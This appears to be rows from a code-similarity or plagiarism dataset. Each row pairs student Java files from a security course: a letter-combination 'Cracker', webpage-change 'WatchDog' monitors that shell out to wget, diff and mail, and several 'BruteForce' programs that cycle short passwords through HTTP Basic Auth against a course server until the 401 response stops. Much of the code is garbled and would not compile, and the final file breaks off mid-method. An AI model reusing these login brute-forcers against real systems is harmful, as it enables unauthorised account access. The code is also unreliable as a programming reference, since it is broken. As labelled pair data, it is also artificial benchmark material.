v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
251.java | 207.java | 0 | import java.util.*;
import java.io.*;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
173.java | 207.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class Watchdog extends TimerTask
{
public void run()
{
Runtime t = Runtime.getRuntime();
Process pr= null;
String Fmd5,Smd5,temp1;
int index;
try
{
pr = t.exec("md5sum csfirst.html");
InputStreamReader stre = new InputStreamReader(pr.getInputStream());
BufferedReader bread = new BufferedReader(stre);
s = bread.readLine();
index = s.indexOf(' ');
Fmd5 = s.substring(0,index);
System.out.println(Fmd5);
pr = null;
pr = t.exec("wget http://www.cs.rmit.edu./students/");
pr = null;
pr = t.exec("md5sum index.html");
InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
BufferedReader bread1 = new BufferedReader(stre1);
temp1 = bread1.readLine();
index = temp1.indexOf(' ');
Smd5 = temp1.substring(0,index);
System.out.println(Smd5);
pr = null;
if(Fmd5 == Smd5)
System.out.println(" changes Detected");
else
{
pr = t.exec("diff csfirst.html index.html > report.html");
pr = null;
try{
Thread.sleep(10000);
}catch(Exception e){}
pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.");
}
}catch(java.io.IOException e){}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
045.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
class BruteForce {
String password="";
int num =401;
public static void main (String[] args) {
String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
BruteForce URLcon;
int length = 0;
String passwd="";
int t0,t1;
if (args.length == 0) {
System.err.println (
"Usage : java BruteForce <username>");
return;
}
String username = args[0];
t0=System.currentTimeMillis();
System.out.println (" " + new Date());
System.out.println ("Using BruteForce method attack "+username+"'s password.Please waiting.......");
for (int i=0;i<str.length();i++){
passwd=str.substring(i,i+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
for (int j=0;j<str.length();j++){
passwd =str.substring(i,i+1)+str.substring(j,j+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
for (int m=0;m<str.length();m++){
passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
}
}
}
System.out.println(" not find the password");
}
public BruteForce (String password, String username){
String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;
try {
String userPassword = username+":"+password ;
String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
url = uc.getResponseCode();
}
catch(MalformedURLException e){
System.out.println(e);
}catch(IOException e){
System.out.println(e);
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
143.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class BruteForce{
private static URL location;
private static String user;
private BufferedReader input;
private char [] password = {'A', 'A', 'A'};
private int noLetters = 3;
public BruteForce() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
char [] currentPassword = new char[noLetters];
for (int i=0; i<noLetters; i++) {
currentPassword[i] = password[i];
}
boolean loop = true;
int i = noLetters - 1;
while (loop ) {
password[i]++;
loop = false;
if (password[i] > 'Z' && password[i] < 'a') {
password[i] = 'a';
}
else if (password[i] > 'z') {
if (noLetters == 1 && i == 0) {
System.out.println("Password not found");
System.exit(-1);
}
password[i] = 'A';
i--;
loop = true;
if (i<0) {
noLetters--;
for (int j=0; j <noLetters; j++) {
password[j] = 'A';
loop = false;
}
}
}
}
return currentPassword;
}
public static void main(String args[]) {
if (args.length != 2) {
System.out.println("Usage: java BruteForce url user");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
new BruteForce();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat("-"));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
050.java | 207.java | 0 | import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class makePasswords
{
public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
Vector in = new Vector();
public void makePass()
{
try
{
PrintWriter pw = new PrintWriter(new FileWriter("new.txt"));
for(int i = 0; i < alphabet1.length; i++)
{
for(int j = 0; j < alphabet2.length; j++)
{
for(int k = 0; k < alphabet3.length; k++)
{
String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]);
pw.println(newStr);
}
}
}
}catch(Exception ex){}
}
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
public void loadFile()throws NoSuchElementException, IOException
{
try{
bf = new BufferedReader(new FileReader("new.txt"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");
}
}
}
public Vector getVector()
{
return in;
}
public static void main(String args[])
{
makePasswords mP = new makePasswords();
mP.makePass();
Vector v = mP.getVector();
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
035.java | 207.java | 0 |
import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
public class BruteForce
{
private int consonantUpperBound = CrackingConstants.consonantUpperBound;
private int consonantLowerBound = CrackingConstants.consonantLowerBound;
private int vowelUpperBound = CrackingConstants.vowelUpperBound;
private int vowelLowerBound = CrackingConstants.vowelLowerBound;
private int verbose = CrackingConstants.quietMode;
private int scanType = CrackingConstants.casedScan;
private int passwordsTried = 0;
public static void main(String args[])
{
int tStart;
int tFinish;
DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
BruteForce pwForcer = new BruteForce();
if(args.length > 0)
{
for(int i = 0; i < args.length; i++)
{
if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1))
{
System.out.println("\n-s -S\tonly tests lower passwords.");
System.out.println("\n-v\tprints the patterns as tried.");
System.out.println("-V\tprints out the patterns and the passwords as generated. \n\tThis option slows the program considerably.\n");
return;
}
else if(args[i].indexOf("-v") > -1)
pwForcer.verbose = CrackingConstants.verboseMode1;
else if(args[i].indexOf("-V") > -1)
pwForcer.verbose = CrackingConstants.verboseMode2;
else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1))
pwForcer.scanType = CrackingConstants.simpleScan;
}
}
System.out.println("\n\n********************************\n");
System.out.println("Starting brute force run at " +
longTimestamp.format(new Date()));
if(args.length > 0)
{
String arguments = "";
for( i =0; i < args.length; i++)
arguments += args[i] + " ";
System.out.println("\nOptions: " + arguments + "\n");
}
if(pwForcer.scanType == CrackingConstants.simpleScan)
System.out.println("Only lower passwords tried.");
else
System.out.println("Both lower and upper passwords tried.");
System.out.println("\n********************************\n");
tStart = System.currentTimeMillis();
pwForcer.run();
tFinish = System.currentTimeMillis();
if (pwForcer.scanType == CrackingConstants.casedScan)
{
System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26 * 8) + ")");
System.out.println ("That is " + pwForcer.passwordsTried/8 + " unique three letter combinations were tried (out of a possible " + (26 * 26 * 26) + ")");
}
else
{
System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26) + ")\n");
}
System.out.println("\n********************************\n");
System.out.println("Finished brute force run at " +
longTimestamp.format(new Date()));
System.out.println("Time taken: " + ((tFinish - tStart)/1000) + " seconds");
System.out.println("\n********************************");
}
public BruteForce()
{
}
private void run()
{
leftIndex = 0;
midIndex = 0;
rightIndex = 0;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying stutters (AAA, aaa, etc.)");
for( i = vowelLowerBound; i <= consonantUpperBound; i++)
{
leftIndex = i;
midIndex = i;
rightIndex = i;
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying consonant-vowel-consonant patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying consonant-vowel-vowel patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying vowel-consonant-vowel patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying vowel-consonant-consonant patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying vowel-vowel-consonant patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying consonant-consonant-vowel patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying remaining vowel-vowel-vowel patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if((leftIndex == midIndex) && (leftIndex == rightIndex))
{
}
else
{
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying remaining consonant-consonant-consonant patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if((leftIndex == midIndex) && (leftIndex == rightIndex))
{
}
else
{
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying monographs (A, a, etc.)");
for ( i = 0; i <= consonantUpperBound; i++)
{
leftIndex = i;
midIndex = -1;
rightIndex = -1;
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying bigraphs (AA, aa, etc.)");
for( i = 0; i <= consonantUpperBound; i++)
{
for( j = 0; j <= consonantUpperBound; j++)
{
leftIndex = i;
midIndex = j;
rightIndex = -1;
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
}
return;
}
private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)
{
